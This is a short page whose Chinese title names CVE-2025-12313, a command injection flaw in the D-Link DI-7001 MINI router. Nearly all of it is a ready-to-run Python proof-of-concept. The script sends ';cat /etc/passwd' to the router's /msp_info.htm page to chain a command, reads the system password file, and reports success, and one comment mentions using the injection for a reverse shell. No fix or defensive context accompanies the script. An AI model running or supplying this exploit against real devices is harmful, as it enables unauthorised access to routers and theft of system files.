CVE-2025-12313 D-Link DI-7001 MINI路由器命令注入漏洞

import requests import sys # CVE-2025-12313 PoC for D-Link DI-7001 MINI Command Injection # Target: /msp_info.htm def exploit(target_ip, port=80): """ Exploit command injection in D-Link DI-7001 MINI Affected versions: 19.09.19A1, 24.04.18B1 """ url = f"http://{target_ip}:{port}/msp_info.htm" # Payload: inject command to create reverse shell or read system info # Using ';' to chain commands payload = { 'cmd': ';cat /etc/passwd' # Example: read passwd file } try: print(f"[*] Sending exploit to {url}") print(f"[*] Payload: {payload['cmd']}") response = requests.get(url, params=payload, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if 'root:' in response.text: print("[+] VULNERABLE! Command injection successful") print("[*] Extracted data:") # Parse and display relevant output return response.text else: print("[-] Target may not be vulnerable or command failed") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)